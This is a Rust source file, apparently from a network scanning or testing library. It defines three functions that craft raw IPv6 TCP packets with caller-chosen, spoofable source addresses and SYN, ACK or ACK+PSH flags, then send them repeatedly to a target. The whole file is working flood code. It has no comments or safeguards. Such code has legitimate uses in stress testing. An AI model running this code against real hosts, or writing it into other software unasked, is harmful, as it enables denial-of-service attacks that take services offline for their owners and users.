use pnet::packet::ip::IpNextHeaderProtocols;
use pnet::packet::ipv6::MutableIpv6Packet;
use pnet::packet::tcp::MutableTcpPacket;
use pnet::packet::tcp::TcpFlags;
use pnet::packet::tcp::ipv6_checksum;
use rand::Rng;
use std::net::Ipv6Addr;
use std::panic::Location;
use crate::error::PistolError;
use crate::layer::IPV6_HEADER_SIZE;
use crate::layer::TCP_HEADER_SIZE;
use crate::layer::layer3_ipv6_send;
const TCP_DATA_SIZE: usize = 0;
const TTL: u8 = 255;
pub fn send_syn_flood_packet(
dst_ipv6: Ipv6Addr,
dst_port: u16,
src_ipv6: Ipv6Addr,
src_port: u16,
max_same_packet: usize,
) -> Result<usize, PistolError> {
let mut rng = rand::rng();
let mut ipv6_buff = [0u8; IPV6_HEADER_SIZE + TCP_HEADER_SIZE + TCP_DATA_SIZE];
let mut ipv6_header = match MutableIpv6Packet::new(&mut ipv6_buff) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
ipv6_header.set_version(6);
ipv6_header.set_flow_label(0x12345);
let payload_length = TCP_HEADER_SIZE + TCP_DATA_SIZE;
ipv6_header.set_payload_length(payload_length as u16);
ipv6_header.set_next_header(IpNextHeaderProtocols::Tcp);
ipv6_header.set_hop_limit(TTL);
ipv6_header.set_source(src_ipv6);
ipv6_header.set_destination(dst_ipv6);
let mut tcp_header = match MutableTcpPacket::new(&mut ipv6_buff[IPV6_HEADER_SIZE..]) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
tcp_header.set_source(src_port);
tcp_header.set_destination(dst_port);
tcp_header.set_sequence(rng.random());
tcp_header.set_acknowledgement(rng.random());
tcp_header.set_reserved(0);
tcp_header.set_flags(TcpFlags::SYN);
tcp_header.set_urgent_ptr(0);
tcp_header.set_window(1024);
tcp_header.set_data_offset(5);
let checksum = ipv6_checksum(&tcp_header.to_immutable(), &src_ipv6, &dst_ipv6);
tcp_header.set_checksum(checksum);
let timeout = None;
for _ in 0..max_same_packet {
let _ret = layer3_ipv6_send(dst_ipv6, src_ipv6, &ipv6_buff, vec![], timeout, false)?;
}
Ok(ipv6_buff.len() * max_same_packet)
}
pub fn send_ack_flood_packet(
dst_ipv6: Ipv6Addr,
dst_port: u16,
src_ipv6: Ipv6Addr,
src_port: u16,
max_same_packet: usize,
) -> Result<usize, PistolError> {
let mut rng = rand::rng();
let mut ipv6_buff = [0u8; IPV6_HEADER_SIZE + TCP_HEADER_SIZE + TCP_DATA_SIZE];
let mut ipv6_header = match MutableIpv6Packet::new(&mut ipv6_buff) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
ipv6_header.set_version(6);
ipv6_header.set_flow_label(0x12345);
let payload_length = TCP_HEADER_SIZE + TCP_DATA_SIZE;
ipv6_header.set_payload_length(payload_length as u16);
ipv6_header.set_next_header(IpNextHeaderProtocols::Tcp);
ipv6_header.set_hop_limit(TTL);
ipv6_header.set_source(src_ipv6);
ipv6_header.set_destination(dst_ipv6);
let mut tcp_header = match MutableTcpPacket::new(&mut ipv6_buff[IPV6_HEADER_SIZE..]) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
tcp_header.set_source(src_port);
tcp_header.set_destination(dst_port);
tcp_header.set_sequence(rng.random());
tcp_header.set_acknowledgement(rng.random());
tcp_header.set_reserved(0);
tcp_header.set_flags(TcpFlags::ACK);
tcp_header.set_urgent_ptr(0);
tcp_header.set_window(1024);
tcp_header.set_data_offset(5);
let checksum = ipv6_checksum(&tcp_header.to_immutable(), &src_ipv6, &dst_ipv6);
tcp_header.set_checksum(checksum);
let timeout = None;
for _ in 0..max_same_packet {
let _ret = layer3_ipv6_send(dst_ipv6, src_ipv6, &ipv6_buff, vec![], timeout, false)?;
}
Ok(ipv6_buff.len() * max_same_packet)
}
pub fn send_ack_psh_flood_packet(
dst_ipv6: Ipv6Addr,
dst_port: u16,
src_ipv6: Ipv6Addr,
src_port: u16,
max_same_packet: usize,
) -> Result<usize, PistolError> {
let mut rng = rand::rng();
let mut ipv6_buff = [0u8; IPV6_HEADER_SIZE + TCP_HEADER_SIZE + TCP_DATA_SIZE];
let mut ipv6_header = match MutableIpv6Packet::new(&mut ipv6_buff) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
ipv6_header.set_version(6);
ipv6_header.set_flow_label(0x12345);
let payload_length = TCP_HEADER_SIZE + TCP_DATA_SIZE;
ipv6_header.set_payload_length(payload_length as u16);
ipv6_header.set_next_header(IpNextHeaderProtocols::Tcp);
ipv6_header.set_hop_limit(TTL);
ipv6_header.set_source(src_ipv6);
ipv6_header.set_destination(dst_ipv6);
let mut tcp_header = match MutableTcpPacket::new(&mut ipv6_buff[IPV6_HEADER_SIZE..]) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
tcp_header.set_source(src_port);
tcp_header.set_destination(dst_port);
tcp_header.set_sequence(rng.random());
tcp_header.set_acknowledgement(rng.random());
tcp_header.set_reserved(0);
tcp_header.set_flags(TcpFlags::ACK | TcpFlags::PSH);
tcp_header.set_urgent_ptr(0);
tcp_header.set_window(1024);
tcp_header.set_data_offset(5);
let checksum = ipv6_checksum(&tcp_header.to_immutable(), &src_ipv6, &dst_ipv6);
tcp_header.set_checksum(checksum);
let timeout = None;
for _ in 0..max_same_packet {
let _ret = layer3_ipv6_send(dst_ipv6, src_ipv6, &ipv6_buff, vec![], timeout, false)?;
}
Ok(ipv6_buff.len() * max_same_packet)
}